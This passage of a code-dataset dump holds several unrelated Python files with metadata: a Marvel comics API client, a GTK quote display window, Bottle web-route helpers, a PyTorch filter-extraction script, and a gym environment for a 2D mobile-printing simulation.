8, "usage_type": "call"}, {"api_name": "celery.Celery", "line_number": 13, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 14, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 19, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 25, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 44, "usage_type": "call"}, {"api_name": "bson.json_util.default", "line_number": 44, "usage_type": "attribute"}, {"api_name": "bson.json_util", "line_number": 44, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 52, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 55, "usage_type": "call"}, {"api_name": "bson.json_util.default", "line_number": 55, "usage_type": "attribute"}, {"api_name": "bson.json_util", "line_number": 55, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 61, "usage_type": "call"}, {"api_name": "bson.json_util.default", "line_number": 61, "usage_type": "attribute"}, {"api_name": "bson.json_util", "line_number": 61, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 71, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 76, "usage_type": "call"}]} {"seq_id": "304364618", "text": "import hashlib\nimport json\nimport logging\nimport os\nimport sys\nfrom datetime import datetime, timezone, timedelta\n\nimport requests\n\nfrom marvel.utils import get_previous_byday\n\n\nMARVEL = \"https://gateway.marvel.com:443/v1/public\"\nMARVEL_PUBLIC_KEY = os.environ[\"MARVEL_PUBLIC_KEY\"]\nMARVEL_PRIVATE_KEY = os.environ[\"MARVEL_PRIVATE_KEY\"]\n\n\nclass MarvelApi(object):\n def __init__(self):\n logging.basicConfig()\n self.logger = logging.getLogger(__name__)\n self.logger.setLevel(logging.DEBUG)\n\n def hash(self, timestamp):\n \"\"\"Authorisation as per:\n https://developer.marvel.com/documentation/authorization\n \"\"\"\n key = \"\".join([timestamp,\n MARVEL_PRIVATE_KEY,\n MARVEL_PUBLIC_KEY])\n m = hashlib.md5()\n m.update(key.encode(\"utf-8\"))\n return m.hexdigest()\n\n def _get(self, url, params):\n \"\"\"Base API call; handles auth. methods.\n \"\"\"\n ts = datetime.now(timezone.utc).isoformat()\n base = {\"apikey\": MARVEL_PUBLIC_KEY,\n \"ts\": ts,\n \"hash\": self.hash(ts)}\n params.update(base)\n r = requests.get(url, params=params)\n return json.loads(r.text)\n\n def _all(self, url, params):\n \"\"\"Return all `results`.\n \"\"\"\n results = []\n offset = 0\n total = 1\n while offset < total:\n params.update({\"offset\": offset})\n data = self._get(url, params)\n results += data[\"data\"][\"results\"]\n count = data[\"data\"][\"count\"]\n offset += count\n total = data[\"data\"][\"total\"]\n self.logger.debug(\"Received {} of {} comics.\".format(count, total))\n return results\n\n def comics(self, **kwargs):\n self.logger.debug(\"Finding comics...\")\n url = \"{}/comics\".format(MARVEL)\n results = self._all(url, kwargs)\n return results\n\n def comic(self, comicId=None):\n self.logger.debug(\"Getting comic...\")\n url = \"{}/comics/{}\".format(MARVEL, comicId)\n results = self._get(url, {})\n return results\n\n def series(self, **kwargs):\n \"\"\"Return only issues in series whose title starts with the input.\n \"\"\"\n self.logger.debug(\"Finding series...\")\n url = \"{}/series\".format(MARVEL)\n results = self._all(url, kwargs)\n return results\n\n def last_wednesday(self, weeks=0):\n \"\"\"All releases for the previous Wednesday.\n \"\"\"\n wednesday = get_previous_byday(\"Wednesday\",\n start_date=datetime.today() - timedelta(weeks=int(weeks)))\n self.logger.debug(\"Getting comics for Wednesday {}...\".format(wednesday.date().isoformat()))\n date_range = [wednesday.date().isoformat()] * 2\n return self.comics(dateRange=\",\".join(date_range))\n\n\nif __name__ == \"__main__\":\n m = MarvelApi()\n print(\"\\n\".join(sorted([\"{}\\t{}\".format(c[\"title\"],\n c[\"id\"]) for c in m.last_wednesday(weeks=sys.argv[1] if len(sys.argv) > 1 else 0)])))\n\n", "sub_path": "marvel/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 3108, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 21, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 22, "usage_type": "attribute"}, {"api_name": "hashlib.md5", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 38, "usage_type": "name"}, {"api_name": "datetime.timezone.utc", "line_number": 38, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 38, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 43, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 44, "usage_type": "call"}, {"api_name": "marvel.utils.get_previous_byday", "line_number": 85, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 86, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 86, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 86, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 95, "usage_type": "attribute"}]} {"seq_id": "161991464", "text": "import gi\nimport json\nimport random\nimport threading\nimport time\n\ngi.require_version(\"Gdk\", \"3.0\")\ngi.require_version(\"Gtk\", \"3.0\")\n\nfrom gi.repository import Gdk\nfrom gi.repository import Gtk\n\n# Display time in seconds (rough)\nDISPLAY_TIME = 5\n# Full path to the quotes dataset https://www.kaggle.com/akmittal/quotes-dataset Download, unzip and refer to the location\n#QUOTES_JSON_PATH = \"/home/desktop-notifications/quotes.json\" \n\nCSS = b\"\"\"\n#toplevel {\n background-color: rgba(0, 0, 0, 0.1);\n}\n#mybox {\n margin: 20px; \n}\n#main_content {\n color: white;\n font-size: 20px;\n font-weight:bold;\n}\n#other_content {\n color: white;\n font-size: 14px;\n font-style: italic;\n}\n\"\"\"\n\n\n\ndef load_quotes(quotes_json_path):\n with open(quotes_json_path) as f:\n return json.loads(f.read())\n\nquotes = load_quotes('quotes.json')\n\n#print(quotes[0])\n#Output: \n# {\n# 'Quote': \"Don't cry because it's over, smile because it happened.\", \n# 'Author': 'Dr. Seuss',\n# 'Tags': ['attributed-no-source', 'cry', 'crying', 'experience', 'happiness', 'joy', 'life', 'misattributed-dr-seuss', 'optimism', 'sadness', 'smile', 'smiling '], \n# 'Popularity': 0.15566615566615566,\n# 'Category': 'life'\n# }\n\nrandom_quote_idx = random.randint(0, len(quotes))\n\nquote_content = quotes[random_quote_idx][\"Quote\"]\nquote_author = quotes[random_quote_idx][\"Author\"]\n\nstyle_provider = Gtk.CssProvider()\nstyle_provider.load_from_data(CSS)\n\nGtk.StyleContext.add_provider_for_screen(\n Gdk.Screen.get_default(),\n style_provider,\n Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION\n)\n\ncontent_label = Gtk.Label(name=\"main_content\")\ncontent_label.set_text(quote_content)\ncontent_label.set_justify(Gtk.Justification.CENTER)\ncontent_label.set_max_width_chars(50)\ncontent_label.set_line_wrap(True)\n\nauthor_label = Gtk.Label(name=\"other_content\")\nauthor_label.set_text(quote_author)\nauthor_label.set_justify(Gtk.Justification.CENTER)\nauthor_label.set_max_width_chars(50)\nauthor_label.set_line_wrap(True)\n# author_label.set_size_request(250, -1)\nbox = Gtk.Box(name=\"mybox\", orientation=Gtk.Orientation.VERTICAL)\nbox.pack_start(content_label, False, False, 0)\nbox.pack_end(author_label, False, False, 0)\n\nwindow = Gtk.Window(title=\"\", name=\"toplevel\")\nscreen = window.get_screen()\nvisual = screen.get_rgba_visual()\nwindow.set_visual(visual)\nwindow.set_decorated(False)\nwindow.add(box)\n\nwindow.set_position(Gtk.WindowPosition.CENTER)\nwindow.set_resizable(False)\nwindow.connect(\"destroy\", Gtk.main_quit)\nwindow.show_all()\n\n#def thread_function(name):\n# time.sleep(DISPLAY_TIME)\n# Gtk.main_quit()\n#x = threading.Thread(target=thread_function, args=(1,))\n#x.start()\n\nGtk.main()\n\nx.join()\n", "sub_path": "gtk-desktop-quote-display.py", "file_name": "gtk-desktop-quote-display.py", "file_ext": "py", "file_size_in_byte": 2679, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "gi.require_version", "line_number": 7, "usage_type": "call"}, {"api_name": "gi.require_version", "line_number": 8, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 41, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 55, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.CssProvider", "line_number": 60, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 60, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.StyleContext.add_provider_for_screen", "line_number": 63, "usage_type": "call"}, {"api_name": "gi.repository.Gtk.StyleContext", "line_number": 63, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 63, "usage_type": "name"}, {"api_name": "gi.repository.Gdk.Screen.get_default", "line_number": 64, "usage_type": "call"}, {"api_name": "gi.repository.Gdk.Screen", "line_number": 64, "usage_type": "attribute"}, {"api_name": "gi.repository.Gdk", "line_number": 64, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION", "line_number": 66, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 66, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Label", "line_number": 69, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 69, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Justification", "line_number": 71, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 71, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Label", "line_number": 75, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 75, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Justification", "line_number": 77, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 77, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Box", "line_number": 81, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 81, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.Orientation", "line_number": 81, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk.Window", "line_number": 85, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 85, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.WindowPosition", "line_number": 92, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 92, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.main_quit", "line_number": 94, "usage_type": "attribute"}, {"api_name": "gi.repository.Gtk", "line_number": 94, "usage_type": "name"}, {"api_name": "gi.repository.Gtk.main", "line_number": 103, "usage_type": "call"}, {"api_name": "gi.repository.Gtk", "line_number": 103, "usage_type": "name"}]} {"seq_id": "39252171", "text": "# coding: utf-8\n# author: ives\n# date: 2017-10-24\n# desc: 公共函数\nimport json_codec\nimport utility\nimport bottle\nimport webutility\nimport log\n\n#用于wmqtt控制重联 \nclass WmqttException(Exception):\n\tdef __init__(self,*p,**pp):\n\t\tsuper(WmqttException, self).__init__(*p,**pp)\n\nclass AuthException(Exception):\n\tdef __init__(self,*p,**pp):\n\t\tsuper(AuthException, self).__init__(*p,**pp)\n\ndef get(url,cacheSecond=0):\n\treturn _route(url,method=[\"GET\",\"POST\"],cacheSecond=cacheSecond)\n\ndef post(url):\n\treturn _route(url,method=[\"GET\",\"POST\"]) \n\t\ndef getNormal(url):\n\treturn _route(url,method=\"GET\")\n\n\t\n#每个后端页面都需要返回的信息\ndef _addBackResult(errorno, errormsg, retDic = None):\n\tif retDic is None:\n\t\tretDic = {}\n\tretDic[\"errorno\"] = errorno\n\tif errorno != 0:\n\t\tretDic[\"errormsg\"] = errormsg\n\telse:\n\t\tassert not errormsg\n\t\tretDic[\"errormsg\"] = \"\"\n\treturn json_codec.dump(retDic)\n\t\t\ndef _catch(func):\n\tdef __call(*p,**pp):\n\t\ttry:\n\t\t\tret = func(*p,**pp)\n\t\t\tif ret is None:\t\n\t\t\t\treturn _addBackResult(0,\"\")\n\t\t\tif not isinstance(ret,dict):\n\t\t\t\tprint(\"type must be dict\",type(ret),str(ret))\n\t\t\tassert isinstance(ret,dict) \n\t\t\treturn _addBackResult(0,\"\",ret)\n\t\texcept AuthException as e1:\n\t\t\tlog.error(\"auth failed! \",str(e1))\n\t\t\treturn _addBackResult(-1000, str(e1))\n\t\texcept WmqttException as e2:\n\t\t\tlog.error(\"wmqtt failed! \",str(e2))\n\t\t\treturn _addBackResult(-1001, str(e2))\n\t\texcept Exception as e:\n\t\t\tif hasattr(e,\"noprint\"):\n\t\t\t\tlog.error(\"catch Exception:\",str(e))\n\t\t\telse:\n\t\t\t\tlog.exception(\"invoke \"+str(func),e)\n\t\t\treturn _addBackResult(-1, str(type(e).__name__)+\": \"+str(e))\n\t__call.__name__ = func.__name__\n\treturn __call\n\t\n@webutility.allow_cross_domain\ndef _optionDefault():\n\treturn \"OK\"\n\t\ndef _route(url,method,cacheSecond=0):\n\tdef __call(func):\n\t\tf1 = func\n\t\tif cacheSecond:\n\t\t\tf1 = cacheFunc(func,cacheSecond)\n\t\tff = webutility.allow_cross_domain(_catch(f1)) \n\t\tff = webutility.set_content_type(ff,'application/json;charset=utf-8') \n\t\tbottle.route(url,\"OPTIONS\", _optionDefault)\n\t\treturn bottle.route(url, method, callback=ff) \n\t# __call.__name__ = func.__name__\n\treturn __call\t\n \ndef add(url,func,cacheSecond=0):\n\tf1 = func\n\tif cacheSecond:\n\t\tf1 = cacheFunc(func,cacheSecond)\n\tff = webutility.allow_cross_domain(_catch(f1))\n\tff = webutility.set_content_type(ff,'application/json;charset=utf-8') \n\tbottle.route(url,\"OPTIONS\", _optionDefault)\n\treturn bottle.route(url, [\"GET\",\"POST\"], callback=ff) \n\t\n\t\nclass cacheInfo:\n\tdef __init__(self,cacheSecond):\n\t\tself.timeout = cacheSecond*1000\n\t\tself.data = None\n\t\tself.visitTicks = 0\n\t\t\ng_cacheInfo = {}\n\t\t\ndef cacheFunc(func,cacheSecond):\n\tg_cacheInfo[func] = cacheInfo(cacheSecond)\n\tdef __call(*p,**pp):\n\t\tif func in g_cacheInfo:\n\t\t\tc = g_cacheInfo[func]\n\t\t\tnow = utility.ticks()\n\t\t\tif now - c.visitTicks > c.timeout:\n\t\t\t\tc.data = func(*p,**pp)\n\t\t\t\tc.visitTicks = now\n\t\t\treturn c.data \n\t\telse:\n\t\t\treturn func(*p,**pp) \n\t__call.__name__ = func.__name__\n\treturn __call\n \n#=================== unit test ======================\ndef test_addbackResult():\n\timport json,datetime\n\t\n\tdic1 = json.loads(_addBackResult(-1, \"eefsdafas错误信息\"))\n\tassert len(dic1) == 2 \n\tassert dic1[\"errorno\"] == -1 \n\tassert dic1[\"errormsg\"] == \"eefsdafas错误信息\" \n\n\tdic2 = {}\n\tdic2[\"key1\"] = 1\n\tdic2[\"key2\"] = \"string\"\n\tdic2[\"date\"] = datetime.datetime(1998,12,31,11,45,22)\n\tdic2[\"list\"] = [1,2,3,4]\n\tdic2 = json.loads(_addBackResult(2, \"aaa\", dic2)) \n\tassert len(dic2) == 6 \n\tassert dic2[\"errorno\"] == 2 \n\tassert dic2[\"errormsg\"] == \"aaa\" \n\tassert dic2[\"key1\"] == 1 \n\tassert dic2[\"key2\"] == \"string\" \n\tassert dic2[\"date\"] == \"1998-12-31 11:45:22\" \n\tassert dic2[\"list\"] == [1,2,3,4] \n\nif __name__ == '__main__':\n\tutility.run_tests()\n\n\n\n", "sub_path": "trunk/common/scadaUtility.py", "file_name": "scadaUtility.py", "file_ext": "py", "file_size_in_byte": 3699, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json_codec.dump", "line_number": 40, "usage_type": "call"}, {"api_name": "log.error", "line_number": 53, "usage_type": "call"}, {"api_name": "log.error", "line_number": 56, "usage_type": "call"}, {"api_name": "log.error", "line_number": 60, "usage_type": "call"}, {"api_name": "log.exception", "line_number": 62, "usage_type": "call"}, {"api_name": "webutility.allow_cross_domain", "line_number": 67, "usage_type": "attribute"}, {"api_name": "webutility.allow_cross_domain", "line_number": 76, "usage_type": "call"}, {"api_name": "webutility.set_content_type", "line_number": 77, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 78, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 79, "usage_type": "call"}, {"api_name": "webutility.allow_cross_domain", "line_number": 87, "usage_type": "call"}, {"api_name": "webutility.set_content_type", "line_number": 88, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 89, "usage_type": "call"}, {"api_name": "bottle.route", "line_number": 90, "usage_type": "call"}, {"api_name": "utility.ticks", "line_number": 106, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 128, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 130, "usage_type": "call"}, {"api_name": "utility.run_tests", "line_number": 140, "usage_type": "call"}]} {"seq_id": "149150225", "text": "#!/usr/bin/python3\nimport argparse\n\nimport torch\nimport numpy as np\n\n\ndef extract_filts(model_files, out_filename):\n filts = []\n for filename in model_files:\n state_dict = torch.load(filename, map_location='cpu')\n # Hacky way to detect CorrelatorExtractor log files\n if \"CorrelatorExtractor\" in filename:\n filts.append(state_dict['correlator.conv_filt'].cpu().numpy())\n else:\n filts.append(state_dict['conv1.weight'].cpu().numpy())\n filts = np.concatenate(filts, axis=0)\n np.save(out_filename, filts)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Extract filters from .pt model files')\n parser.add_argument('model_files', type=str, nargs='+', help='List of model .pt files to extract from')\n parser.add_argument('out_filename', type=str, help='Name of output (.npy) file')\n args = parser.parse_args()\n\n extract_filts(args.model_files, args.out_filename)\n", "sub_path": "scripts/extract_filts.py", "file_name": "extract_filts.py", "file_ext": "py", "file_size_in_byte": 961, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.load", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 18, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}]} {"seq_id": "406253951", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport gym\nimport cv2\n\nclass deep_mobile_printing_2d1r(gym.Env):\n def __init__(self, plan_choose=0):\n # plan_choose: 0 Dense triangle, 1 Sparse triangle\n\n self.step_size = 1\n self.plan_width = 20\n self.plan_height = 20\n self.environment_memory = None\n self.count_brick = None\n self.brick_memory = None\n self.HALF_WINDOW_SIZE = 3\n self.environment_width = self.plan_width + 2 * self.HALF_WINDOW_SIZE\n self.environment_height = self.plan_height + 2 * self.HALF_WINDOW_SIZE\n self.position_memory = None\n self.observation = None\n self.count_step = 0\n self.total_step = 600\n self.plan = None\n self.input_plan = None\n self.total_brick = 0\n self.one_hot = None\n self.action_dim = 5\n self.state_dim = (2 * self.HALF_WINDOW_SIZE + 1) ** 2 + 2\n self.plan_choose = plan_choose\n\n\n def create_plan(self):\n if not(self.plan_choose == 1 or self.plan_choose == 0 ):\n raise ValueError(' 0: Dense triangle, 1: Sparse triangle')\n\n plan = np.zeros((self.environment_height, self.environment_width))\n area = [50,20]\n total_area = 0\n while total_area <= area[self.plan_choose]:\n x = np.random.randint(0, self.plan_width, size=3)\n y = np.random.randint(0, self.plan_height, size=3)\n\n img_rgb = np.ones((self.plan_height, self.plan_width, 3), np.uint8) * 255\n vertices = np.array([[x[0], y[0]], [x[1], y[1]], [x[2], y[2]]], np.int32)\n pts = vertices.reshape((-1, 1, 2))\n cv2.polylines(img_rgb, [pts], isClosed=True, color=(0, 0, 0))\n if self.plan_choose == 1:\n cv2.fillPoly(img_rgb, [pts], color=(0, 0, 0))\n\n plan[self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_height,\n self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_width] = 1 - img_rgb[:, :, 0] / 255\n total_area = sum(sum(plan))\n\n return plan, total_area\n\n def reset(self):\n self.plan, self.total_brick = self.create_plan()\n if self.total_brick < 30:\n self.total_brick = 30\n self.input_plan = self.plan[self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_height, \\\n self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_width]\n self.environment_memory = np.zeros((self.environment_height, self.environment_width))\n self.environment_memory[:, :self.HALF_WINDOW_SIZE] = -1\n self.environment_memory[:, -self.HALF_WINDOW_SIZE:] = -1\n self.environment_memory[:self.HALF_WINDOW_SIZE, :] = -1\n self.environment_memory[-self.HALF_WINDOW_SIZE:, :] = -1\n\n self.count_brick = 0\n #\n self.position_memory = []\n self.observation = None\n self.count_step = 0\n initial_position = [self.HALF_WINDOW_SIZE, self.HALF_WINDOW_SIZE]\n\n self.position_memory.append(initial_position)\n #\n return np.hstack((self.observation_(initial_position), np.array([[self.count_brick]]), np.array([[self.count_step]])))[0]\n\n def observation_(self, position):\n observation = self.environment_memory[\n position[0] - self.HALF_WINDOW_SIZE:position[0] + self.HALF_WINDOW_SIZE + 1, \\\n position[1] - self.HALF_WINDOW_SIZE:position[1] + self.HALF_WINDOW_SIZE + 1]\n return observation.flatten().reshape(1, -1)\n\n def clip_position(self, position):\n if position[0] <= self.HALF_WINDOW_SIZE:\n position[0] = self.HALF_WINDOW_SIZE\n if position[1] <= self.HALF_WINDOW_SIZE:\n position[1] = self.HALF_WINDOW_SIZE\n if position[0] >= self.plan_width + self.HALF_WINDOW_SIZE - 1:\n position[0] = self.plan_width + self.HALF_WINDOW_SIZE - 1\n if position[1] >= self.plan_width + self.HALF_WINDOW_SIZE - 1:\n position[1] = self.plan_width + self.HALF_WINDOW_SIZE - 1\n return position\n\n def step(self, action):\n self.count_step += 1\n self.step_size = np.random.randint(1, 4)\n\n ### 0 left, 1 right, 2 up, 3 down \n if action == 0:\n position = [self.position_memory[-1][0], self.position_memory[-1][1] - self.step_size]\n position = self.clip_position(position)\n self.position_memory.append(position)\n #\n if action == 1:\n position = [self.position_memory[-1][0], self.position_memory[-1][1] + self.step_size]\n position = self.clip_position(position)\n self.position_memory.append(position)\n #\n if action == 2:\n position = [self.position_memory[-1][0] + self.step_size, self.position_memory[-1][1]]\n position = self.clip_position(position)\n self.position_memory.append(position)\n if action == 3:\n position = [self.position_memory[-1][0] - self.step_size, self.position_memory[-1][1]]\n position = self.clip_position(position)\n self.position_memory.append(position)\n\n ####### 4 drop\n if action == 4:\n self.count_brick += 1\n position = self.position_memory[-1]\n self.position_memory.append(position)\n\n self.environment_memory[position[0], position[1]] += 1.0\n\n done = bool(self.count_brick > self.total_brick)\n if done:\n if self.environment_memory[position[0], position[1]] > 1:\n self.environment_memory[position[0], position[1]] = 1.0\n\n observation = [np.hstack(\n (self.observation_(position), np.array([[self.count_brick]]), np.array([[self.count_step]]))),self.input_plan]\n reward = 0.0\n return observation[0][0], reward, done\n else:\n done = bool(self.count_step >= self.total_step)\n if self.environment_memory[position[0], position[1]] > self.plan[position[0], position[1]]:\n\n reward = 0\n elif self.environment_memory[position[0], position[1]] == self.plan[position[0], position[1]]:\n reward = 5.0\n if self.environment_memory[position[0], position[1]] > 1.0:\n self.environment_memory[position[0], position[1]] = 1.0\n observation = [np.hstack(\n (self.observation_(position), np.array([[self.count_brick]]), np.array([[self.count_step]]))),self.input_plan]\n return observation[0][0], reward, done\n\n done = bool(self.count_step >= self.total_step)\n observation = [np.hstack(\n (self.observation_(position), np.array([[self.count_brick]]), np.array([[self.count_step]]))),self.input_plan]\n reward = 0\n\n return observation[0][0], reward, done\n def iou(self):\n environment_memory = self.environment_memory\n environment_plan = self.plan\n HALF_WINDOW_SIZE = self.HALF_WINDOW_SIZE\n plan_height = self.plan_height\n plan_width = self.plan_width\n component1=environment_plan[HALF_WINDOW_SIZE:HALF_WINDOW_SIZE+plan_height,\\\n HALF_WINDOW_SIZE:HALF_WINDOW_SIZE+plan_width].astype(bool)\n component2=environment_memory[HALF_WINDOW_SIZE:HALF_WINDOW_SIZE+plan_height,\\\n HALF_WINDOW_SIZE:HALF_WINDOW_SIZE+plan_width].astype(bool)\n overlap = component1*component2 # Logical AND\n union = component1 + component2 # Logical OR\n IOU = overlap.sum()/float(union.sum())\n return IOU\n def render(self, axe, iou_min=None, iou_average=None, iter_times=100):\n\n axe.clear()\n plan = self.plan[self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_height, \\\n self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_width]\n env_memory = self.environment_memory[self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_height, \\\n self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_width]\n background = np.zeros((self.plan_height, self.plan_width))\n img = np.stack((env_memory, plan, background), axis=2)\n plt.imshow(img)\n plt.plot(self.position_memory[-1][1] - self.HALF_WINDOW_SIZE,\n self.position_memory[-1][0] - self.HALF_WINDOW_SIZE, \"*\")\n ### compute IOU\n component1 = self.plan[self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_height, \\\n self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_width].astype(bool)\n component2 = self.environment_memory[self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_height, \\\n self.HALF_WINDOW_SIZE:self.HALF_WINDOW_SIZE + self.plan_width].astype(bool)\n overlap = component1 * component2 # Logical AND\n union = component1 + component2 # Logical OR\n IOU = overlap.sum() / float(union.sum())\n\n # Add the patch to the Axes\n if iou_min == None:\n iou_min = IOU\n if iou_average == None:\n iou_average = IOU\n # axe.add_patch(rect)\n axe.title.set_text('step=%d,used_paint=%d,IOU=%.3f' % (self.count_step, self.count_brick, IOU))\n plt.text(0, 21.5, 'Iou_min_iter_%d = %.3f' % (iter_times, iou_min), color='red', fontsize=12)\n plt.text(0, 20.5, 'Iou_average_iter_%d = %.3f' % (iter_times, iou_average), color='blue', fontsize=12)\n axe.axis('off')\n\n plt.draw()\n\n\nif __name__ == \"__main__\":\n env = deep_mobile_printing_2d1r(plan_choose=2)\n\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n total_reward = 0\n env.reset()\n env.render(ax)\n print(env.total_brick)\n while True:\n obs, reward, done = env.step(np.random.randint(5))\n env.render(ax)\n plt.pause(0.1)\n total_reward += reward\n if done:\n break\n\n print(\"reward:\", total_reward)\n plt.show()\n", "sub_path": "script/SAC/environments/DMP_Env_2D_dynamic.py", "file_name": "DMP_Env_2D_dynamic.py", "file_ext": "py", "file_size_in_byte": 9997, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "gym.Env", "line_number": 6, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 43, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 44, "usage_type": "attribute"}, {"api_name": "cv2.polylines", "line_number": 46, "usage_type": "call"}, {"api_name": "cv2.fillPoly", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.hstack", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 198, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 199, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 202, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 208, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 208, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.random", 